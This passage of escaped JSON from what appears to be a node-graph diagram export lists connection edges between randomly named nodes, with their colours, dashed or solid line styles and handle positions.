\"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"q-Ky0ietZGpyUcBQfh-BJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-q-Ky0ietZGpyUcBQfh-BJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9oo2fxTM2_p0VYPBroqxa\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-9oo2fxTM2_p0VYPBroqxay2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3fzuXKH7az_LVnmnoXB1p\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-3fzuXKH7az_LVnmnoXB1py1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HGmeYvRf7_XusZl_K4x9k\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yqRwmcZThjQuqh2ao0dWK\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__HGmeYvRf7_XusZl_K4x9ky2-yqRwmcZThjQuqh2ao0dWKz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HGmeYvRf7_XusZl_K4x9k\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HGmeYvRf7_XusZl_K4x9kx2-3OpGaQhyNtk1n1MLp-tlbw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KaMSsQnJzNqGHg0Oia4uy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-KaMSsQnJzNqGHg0Oia4uyz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"moGMHNR58wFlzhS7je1wc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-moGMHNR58wFlzhS7je1wcz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zwXEmpPYjA7_msS43z7I0\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-zwXEmpPYjA7_msS43z7I0z2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JgoZzx4BfK7tmosgpZOsf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-JgoZzx4BfK7tmosgpZOsfz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NIBSZGE9PskVrluJpdom0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-NIBSZGE9PskVrluJpdom0z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8QBMyL8D5jPovxN8jyZW9\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__8QBMyL8D5jPovxN8jyZW9x2-3OpGaQhyNtk1n1MLp-tlbw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-B2Dvz7160Er0OBHzS6ro\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__RsOTPZPZGTEIt1Lk41bQVz2-3OpGaQhyNtk1n1MLp-tlby2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TnrT-cqMA8urew9nLv0Ns\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__RsOTPZPZGTEIt1Lk41bQVy2-TnrT-cqMA8urew9nLv0Nsz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"iD073xTmpzvQFfXwcwXcY\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__RsOTPZPZGTEIt1Lk41bQVy2-iD073xTmpzvQFfXwcwXcYz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"abKO6KuuIfl9ruVxBw6t_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__RsOTPZPZGTEIt1Lk41bQVy2-abKO6KuuIfl9ruVxBw6t_z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KaXHG_EKxI5PUXmcvlJt6\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__RsOTPZPZGTEIt1Lk41bQVy2-KaXHG_EKxI5PUXmcvlJt6z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-B2Dvz7160Er0OBHzS6ro\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jSzfQf0MlnXtWHCc-HYvr\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__-B2Dvz7160Er0OBHzS6rox2-3OpGaQhyNtk1n1MLp-tlbw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jSzfQf0MlnXtWHCc-HYvr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"19lTWqAvZFT2CDlhLlPSq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbx2-19lTWqAvZFT2CDlhLlPSqw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jSzfQf0MlnXtWHCc-HYvr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h01Y6dW09ChidlM2HYoav\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__jSzfQf0MlnXtWHCc-HYvry2-3OpGaQhyNtk1n1MLp-tlbz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h01Y6dW09ChidlM2HYoav\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mUKoiGUTpIaUgQNF3BND_\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbx2-mUKoiGUTpIaUgQNF3BND_w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h01Y6dW09ChidlM2HYoav\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"g6n7f1Qi0BPr_BGvisWuz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__h01Y6dW09ChidlM2HYoavy2-g6n7f1Qi0BPr_BGvisWuzw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"u2K2QU5WxT9sSe9FCB-CA\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__u2K2QU5WxT9sSe9FCB-CAx2-3OpGaQhyNtk1n1MLp-tlbw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"34UUrc8Yjc_8lvTL8itc3\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-34UUrc8Yjc_8lvTL8itc3y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"FStz-bftQBK0M6zz2Bxl4\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-FStz-bftQBK0M6zz2Bxl4y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DuEfJNrm4Jfmp8-8Pggrf\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-DuEfJNrm4Jfmp8-8Pggrfy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"xk5Xgi797HlVjdZJRfwX1\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-xk5Xgi797HlVjdZJRfwX1y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4eINX8jYMJxfYh7ZV47YI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__F1sU3O1ouxTOvpidDfN3kx2-3OpGaQhyNtk1n1MLp-tlbw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4eINX8jYMJxfYh7ZV47YI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Fn_uYKigJRgb7r_iYGVBr\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__4eINX8jYMJxfYh7ZV47YIz2-3OpGaQhyNtk1n1MLp-tlby1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DQEa8LrJ9TVW4ULBE4aHJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"o5lSQFW-V_PqndGqo1mp3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-o5lSQFW-V_PqndGqo1mp3z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DQEa8LrJ9TVW4ULBE4aHJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ru7mpLQZKE1QxAdiA1sS3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-ru7mpLQZKE1QxAdiA1sS3z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Fn_uYKigJRgb7r_iYGVBr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DQEa8LrJ9TVW4ULBE4aHJ\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Fn_uYKigJRgb7r_iYGVBrx2-3OpGaQhyNtk1n1MLp-tlbw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DQEa8LrJ9TVW4ULBE4aHJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__DQEa8LrJ9TVW4ULBE4aHJx2-3OpGaQhyNtk1n1MLp-tlbw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0pciSsiQqIGJh3x8465_s\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-0pciSsiQqIGJh3x8465_sz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Xszo9vXuwwXZo26seHehD\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-Xszo9vXuwwXZo26seHehDz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4ees23q281J1DPVAc7iXd\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-4ees23q281J1DPVAc7iXdz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"D0yUzzaJsfhtdBWMtquAj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-D0yUzzaJsfhtdBWMtquAjz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"f5oQYhmjNM2_FD7Qe1zGK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-f5oQYhmjNM2_FD7Qe1zGKz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uk6UMuI8Uhf02TBAGVeLS\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-uk6UMuI8Uhf02TBAGVeLSz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tVrbVcNEfc11FbEUoO2Dk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlby2-tVrbVcNEfc11FbEUoO2Dkz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4tFZ1PLpz50bddf7zSFrW\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Mb42VFjCzMZn_PovKIfKxx2-3OpGaQhyNtk1n1MLp-tlbz2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4tFZ1PLpz50bddf7zSFrW\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"rOGnHbGIr3xPCFdpkqoeK\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbw2-rOGnHbGIr3xPCFdpkqoeKx1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4tFZ1PLpz50bddf7zSFrW\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__4tFZ1PLpz50bddf7zSFrWx2-3OpGaQhyNtk1n1MLp-tlbw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BnB3Rirh4R7a7LW7-k-95\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-BnB3Rirh4R7a7LW7-k-95y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yrxNYMluJ9OAQCKuM5W1u\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-yrxNYMluJ9OAQCKuM5W1uy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ymf3u_sG1dyt8ZR_LbwqJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbz2-Ymf3u_sG1dyt8ZR_LbwqJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n  